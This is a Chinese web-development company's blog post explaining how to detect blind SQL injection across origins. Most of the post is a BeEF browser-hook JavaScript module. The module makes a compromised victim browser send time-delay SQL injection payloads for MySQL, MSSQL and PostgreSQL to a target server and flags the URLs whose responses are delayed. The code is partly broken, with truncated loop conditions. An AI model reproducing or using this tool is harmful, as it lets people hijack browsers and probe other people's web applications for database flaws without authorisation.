十三年专注于网站建设与互联网应用开发,低调、有情怀的网络应用服务商!
南昌百恒科技微信公众号 扫一扫关注
tel-icon全国服务热线:400-680-9298,0791-88117053
扫一扫关注百恒科技微信公众号

Web应用之跨域SQL盲注检测

百恒 2017-07-22 15:23:19 3030
       在Web应用中,即使是跨域请求,仍然可以确定请求是否成功。而且,还可以根据响应的时间来推断更多细节。
       SOP会阻止读取跨域XMLHttpRequest的响应体,因而在勾连浏览器上发现基于错误的SQLi并不现实。此时,可以利用跨域响应计时,以及基于时间的SQL注入。这样就可以看到跨域SQL注入的结果,从而发现并利用SQL注入漏洞。那么具体该如何操作呢?下面请看南昌网络公司小编为大家详细讲解一下:
       执行下面的代码可以使用时间延迟,以发现跨域Web应用中的SQLi漏洞。这段代码目前支持可以通过GET请求访问的资源,而要修改成支持POST请求的资源也很简单。
       另外,目前只支持MySQL、PostgreSQL和MSSQL,因为只有它们有时间延迟的SQL语句。正如Chema Alonso所演示的19,即使是耗时的查询也可以感知到时间延迟。同样,因为Oracle支持发送HTTP和DNS请求的功能,所以还可以进行相应的确认:
       beef.execute(function() {
       // 以秒计的延迟
       var delay = '<%= @delay %>';
       // 目标主机/端口
       var host = '<%= @host %>';
       var port = '<%= @port %>';
       // 要扫描的目标URL
       var uri = '<%= @uri %>';
       // 要扫描的URL参数,格式为:key=value
       var param = '<%= @parameter %>';
       /*需要处理主要注入的向量
       * 如果有嵌套的JOIN需要额外的括号
       * param和delay是占位符,
       * 稍后会在create_vector()中替换
       */
       var vectors = [
       "param AND delay", "param' AND delay",
       "param) AND delay", "param AND delay --",
       "param' AND delay --", "param) AND delay --",
       "param AND delay AND 'rand'='rand",
       "param' AND delay AND 'rand'='rand",
       "param' AND delay AND ('rand'='rand",
       "param; delay --"
       ];
       var db_types = ["mysql", "mssql", "postgresql"];
       var final_vectors = [];
       /* 每个DB都有不同的延迟语句
       function create_vector(vector, db_type){
       var result = "";
       if(db_type == "mysql")
       result = vector.replace("param",param)
       .replace("delay","SLEEP(" + delay + ")");
       if(db_type == "mssql")
       result = vector.replace("param",param)
       .replace("delay","WAITFOR DELAY '0:0:" + delay + "'");
       if(db_type == "postgresql")
       result = vector.replace("param",param)
       .replace("delay","PG_SLEEP(" + delay + ")");
       console.log("Vector before URL encoding: " + result);
       return encodeURI(result);
       }
       // 根据支持数据库替换param和delay占位符
       function populate_global_vectors(){
       for(var i=0;i
       var db_type = db_types[i];
       for(var e=0;e
       final_vectors.push(create_vector(vectors[e], db_type));
       }
       }
       }
       var vector_index = 0;
       function next_vector(){
       result = final_vectors[vector_index];
       vector_index++;
       return result;
       }
       var send_interval;
       var successfulVector = "";
       function sendRequests(){
       var vector = next_vector();
       var url = uri.replace(param, vector);
       beef.net.forge_request("http", "GET", host, port, url,
       null, null, null, delay + 2, 'script', true, null,
       function(response){
       // 如果XHR响应延迟,停止进程
       // 因为某个successfulVector已被发现
       if(response.duration >= delay * 1000){
       successfulVector = url;
       console.log("Response delayed with vector [" +
       successfulVector + "]");
       clearInterval(send_interval);
       }
       });
       }
       // 创建所有向量
       populate_global_vectors();
       /* 确定正常的响应时间,并且调整请求之间的延迟
       *(基准响应时间 +500 ms) */
       var response_time;
       beef.net.forge_request("http", "GET", host, port, uri,
       null, null, null, delay + 2, 'script', true, null,function(response){
       response_time = response.duration;
       send_interval = setInterval(function(){
       sendRequests()},response_time + 500); //can be adjusted
       });
       });
       把前面的代码注入勾连浏览器之后,会调用populate_global_vectors(),并根据支持的数据库类型和向量数组中的载荷,来创建攻击向量。这里的载荷并不完整,但对大多数攻击来说已经足够了。你可以根据自己的需求再进行添加,比如增加更多括号或使用不同的布尔关键字,以涵盖嵌套的联结或非常复杂的查询。
攻击的下一步是发送不带任何攻击向量的请求,以监控常规响应时间。这样才能有依据地对后续攻击向量作出调整,因为目标可能对常规请求都会花几秒才响应。确定了基准响应时间后,通过sendRequests()函数发送所有可用的攻击向量。每个XHR请求在处理后,都会有回调函数在响应到达后检测响应时间。如果响应时间等于或大于注入的延迟,则说明注入成功,并可以确认存在基于时间的SQLi漏洞。在图1和图2中,可以看到通过BeEF在勾连浏览器中注入代码后,内部发生了什么。
Web应用之跨域SQL盲注检测
        以上就是小编为大家介绍的关于Web应用中跨域SQL盲注检测的方法,如果还有哪些不懂的地方,可随时来电和我们联系。了解更多关于南昌网站建设、微信开发、手机APP开发等方面的知识,欢迎关注百恒网络官网动态。
400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号

欢迎您的光顾,我们将竭诚为您服务×

售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售后服务 售后服务
 
备案专线 备案专线
 
售后服务 售后服务
 
×